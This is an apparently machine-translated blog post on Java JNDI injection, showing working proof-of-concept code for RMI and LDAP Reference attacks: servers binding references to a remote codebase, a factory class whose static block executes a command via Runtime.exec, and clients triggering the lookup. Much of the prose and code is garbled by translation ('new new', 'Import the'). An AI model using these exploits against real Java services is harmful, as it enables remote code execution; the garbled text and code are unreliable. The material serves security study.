About <Java in RMI, JNDI, LDAP, JRMP, JMX, JMS those things (on)> After looking at some conclusions -2

About JNDI:

Naming system is a set of context sensitive, and zero or more context objects comprising a binding, binding each atom has a name (actually a name to the bound object, easy to find the binding object), the benefits of using JNDI is to configure a unified management interface, you can use the lower RMI, LDAP or CORBA to access the target service

To obtain the initial context, you need to use the initial context factory

Such as JNDI + RMI

The env = new new the Hashtable the Hashtable (); 
env.put (Context.INITIAL_CONTEXT_FACTORY, 
        "com.sun.jndi.rmi.registry.RegistryContextFactory" ); 
env.put (the Context.PROVIDER_URL, 
        "RMI: // localhost: 9999" ); 
ctx = new new Context the InitialContext (env); 
 // name refObj with an object binding, rmi registry here's the bottom is called to bind  ctx.bind ( "refObj", new new RefObject ()); 
 // Find by name Object  ctx.lookup ( "refObj");

Such as JNDI + LDAP

The env = new new the Hashtable the Hashtable (); 
env.put (Context.INITIAL_CONTEXT_FACTORY, 
 "com.sun.jndi.ldap.LdapCtxFactory" ); 
env.put (the Context.PROVIDER_URL, "LDAP: // localhost: 1389" ); 

the DirContext CTX new new = InitialDirContext (env); 
 // find the remote object by name, assuming that the remote server has a remote object with the name cn = foo, dc = test, dc = org bound  Object local_obj = ctx.lookup ( "cn = foo , dc = test, dc = org ");

But as though set initialization factories and provider_url, but JNDI supports dynamic protocol conversion, when to call the lookup function by using the context using the remote object, JNDI can be automatically converted in accordance with the URL provided, so the key point here is that the lookup parameters can be controlled by an attacker.

JNDI naming references

Binding occupy too many resources when an excessive number of objects in the JAVA naming and directory services, but if we can store a reference to it was certainly much more convenient to the original object, JNDI naming references is to use the Reference class indicated by the object and its address referenced the composition, it means that the object is applied at this time is not necessarily required and can provide the JNDI service server resides on the same server.

Reference to construct the object through the object factory. The actual function object factory is that we need to return to what objects the object we need through the factory class. So when using JNDI lookup to find objects, according to Reference factory class load address to load the factory class, then certainly initialized engineering, too, and this article is talking about the same as in the process of adjusting JNDI payload before, the fight in the JNDI Two of the three methods is the code block is written to the command execution block or static constructor factory class, then the class factory finally constructed subject in need thereof, there is actually a third getObjectInstance.

Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);

For example, the above three sections of the code that is bound by Reference remote object and provide factory address, when the client looks for objects Foo name will go to the factory at the address loaded into the local factory class.

There are two different levels of remote loading classes from:

1. Name Manager level

2. Service Provider (SPI) level

RMI requirements direct hit when loading remote classes mandatory installation of Security Manager, and requires useCodebaseOnly is false, requires com.sun.jndi.ldap.object.trustURLCodebase = true (default is false) when a direct hit LDAP, because this is from the service provider Interface (SPI) level to load remote classes.

But no need to install Security Manager (security manager) and jvm option in the low version is not limited in naming management level useCodebaseOnly

JNDI Reference + RMI attack

Reference refObj = new Reference ( "refClassName ", "FactoryClassName", "http://example.com:12345/");//refClassName class name with the package name, FactoryClassName factory class name and factory class package comprising name 
ReferenceWrapper refObjWrapper = new new ReferenceWrapper (refObj); 
registry.bind ( "refObj", refObjWrapper);

At this time, when the client gets a remote object by lookup ( 'refObj'), this time will get the reference category, then next will go to the local classpath named refClassName in class, if not found locally, it will Reference specified address to find plant factory classes

RMIClinent.java

package com.longofo.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class RMIClient1 { public static void main(String[] args) throws RemoteException, NotBoundException, NamingException { // Properties env = new Properties(); // env.put(Context.INITIAL_CONTEXT_FACTORY, // "com.sun.jndi.rmi.registry.RegistryContextFactory"); // env.put(Context.PROVIDER_URL, // "rmi://localhost:9999"); Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:9999/refObj"); } }

RMIServer.java

package com.longofo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { // 创建Registry Registry registry = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); } }

ExportObject.java

Package com.longofo.remoteclass; 

Import the javax.naming.Context; 
Import javax.naming.Name; 
Import the javax.naming.spi.ObjectFactory;  Import java.io.BufferedInputStream The;  Import java.io.BufferedReader; Import the java.io.InputStreamReader ; Import the java.io.Serializable; Import java.util.Hashtable; public class the implements the ExportObject the ObjectFactory, the Serializable {Private Long serialVersionUID = Final static 4474289574195395731L ; static {// here since the static code block, data can not be packed directly Throws but in the static you should also have other ways packed data. I did not write in the constructor is because the project does not call in some way constructed using the parameters, so in order to Fangbiao write directly to all the remote places like loaded will be called static code static code block block the try {Exec ( "Calc" ); } catch (Exception e) { e.printStackTrace(); } } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); // throw new Exception(sb);  } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("333"); return null; } public ExportObject(){ System.out.println("222"); } }

At this point the server to create the registry, then bind the Reference object to the registry at this time

At this point the plant can be seen from the above initialization code can be invoked after the remote object

 

At this time, the output can also be seen at this time triggered code blocks and static factory class constructor and a method getObjectInstance

In a client lookup of the breakpoint tracking you can also go to discover the entire call chain, which first got getReference bound object references, and then get the object factory from Reference by getObjectFactoryFromReference, and then after we initially wanted to get from the object factory examples of objects to find.

JNDI Reference+LDAP

LDAPSeriServer.java

package com.longofo;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.IOException; import java.net.InetAddress; /** * LDAP server implementation returning JNDI references * * @author mbechler */ public class LDAPSeriServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] args) throws IOException { int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$  port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.setSchema(null); config.setEnforceAttributeSyntaxCompliance(false); config.setEnforceSingleStructuralObjectClass(false);        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.add("dn: " + "dc=example,dc=com", "objectClass: test_node1"); //因为LDAP是树形结构的,因此这里要构造树形节点,那么肯定有父节点与子节点 ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: test_node3"); ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject"); //此子节点中存储Reference类名 System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$  ds.startListening(); //LDAP服务开始监听 } catch (Exception e) { e.printStackTrace(); } } }

LDAPServer.java

package com.longofo;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext; import javax.naming.directory.ModificationItem; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.util.Hashtable; public class LDAPServer1 { public static void main(String[] args) throws NamingException, IOException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); DirContext ctx = new InitialDirContext(env); String javaCodebase = "http://127.0.0.1:8000/"; //配置加载远程工厂类的地址 byte[] javaSerializedData = Files.readAllBytes(new File("C:\\Users\\91999\\Desktop\\rmi-jndi-ldap-jrmp-jmx-jms-master\\ldap\\src\\main\\java\\com\\longofo\\1.ser").toPath()); BasicAttribute mod1 = new BasicAttribute("javaCodebase", javaCodebase); BasicAttribute mod2 = new BasicAttribute("javaClassName", "DeserPayload"); BasicAttribute mod3 = new BasicAttribute("javaSerializedData", javaSerializedData);
ModificationItem[] mods = new ModificationItem[3]; mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1); mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2); mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3); ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods); } }

 LDAPClient.java

package com.longofo.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient1 {
    public static void main(String[] args) throws NamingException { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); Context ctx = new InitialContext(); Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com"); } }

此时客户端初始化上下文后就可以去访问ldap服务器上对应的记录,记录名为uid=longofo,ou=employees,dc=example,dc=com ,那么对应在服务端的命名空间中必定存在这条记录,以及绑定的Reference对象。此时就能calc。

 

 

Guess you like

Origin www.cnblogs.com/tr1ple/p/12232601.html